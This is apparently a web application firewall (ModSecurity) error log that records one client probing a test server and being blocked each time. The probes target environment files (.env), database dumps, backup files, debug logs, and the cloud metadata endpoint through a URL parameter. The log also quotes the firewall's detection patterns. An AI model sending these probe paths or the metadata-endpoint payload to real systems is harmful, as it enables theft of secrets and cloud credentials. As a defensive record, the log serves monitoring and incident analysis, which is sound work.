[Sun Mar 22 01:06:21.398665 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVirgAAAAc&quot;]
[Sun Mar 22 01:06:21.398782 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVirgAAAAc&quot;]
[Sun Mar 22 01:06:21.465358 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVisQAAAAc&quot;]
[Sun Mar 22 01:06:21.465541 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVisQAAAAc&quot;]
[Sun Mar 22 01:06:21.465675 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVisQAAAAc&quot;]
[Sun Mar 22 01:06:21.509683 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.bak&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xViswAAAAc&quot;]
[Sun Mar 22 01:06:21.510059 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.bak&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xViswAAAAc&quot;]
[Sun Mar 22 01:06:21.510181 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.bak&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xViswAAAAc&quot;]
[Sun Mar 22 01:06:21.554365 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVitQAAAAc&quot;]
[Sun Mar 22 01:06:21.554749 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVitQAAAAc&quot;]
[Sun Mar 22 01:06:21.554895 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVitQAAAAc&quot;]
[Sun Mar 22 01:06:21.576879 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.bak&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVitgAAAAc&quot;]
[Sun Mar 22 01:06:21.577253 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.bak&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVitgAAAAc&quot;]
[Sun Mar 22 01:06:21.577390 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.bak&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVitgAAAAc&quot;]
[Sun Mar 22 01:06:21.691052 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhqQAAAAU&quot;]
[Sun Mar 22 01:06:21.691432 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhqQAAAAU&quot;]
[Sun Mar 22 01:06:21.691558 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhqQAAAAU&quot;]
[Sun Mar 22 01:06:21.713590 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /db/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db/.env&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhqgAAAAU&quot;]
[Sun Mar 22 01:06:21.713780 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db/.env&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhqgAAAAU&quot;]
[Sun Mar 22 01:06:21.713917 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db/.env&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhqgAAAAU&quot;]
[Sun Mar 22 01:06:21.758527 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhrAAAAAU&quot;]
[Sun Mar 22 01:06:21.758939 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhrAAAAAU&quot;]
[Sun Mar 22 01:06:21.759100 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhrAAAAAU&quot;]
[Sun Mar 22 01:06:21.803531 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhrgAAAAU&quot;]
[Sun Mar 22 01:06:21.803916 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhrgAAAAU&quot;]
[Sun Mar 22 01:06:21.804048 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhrgAAAAU&quot;]
[Sun Mar 22 01:06:21.871050 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:target. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:target: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhsQAAAAU&quot;]
[Sun Mar 22 01:06:21.871373 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhsQAAAAU&quot;]
[Sun Mar 22 01:06:21.871510 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhsQAAAAU&quot;]
[Sun Mar 22 01:06:21.893420 2026] [:error] [pid 2857386] [client 185.177.72.38:49272] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;ab8yfdb4J9WjFZPQ70DhsgAAAAU&quot;]
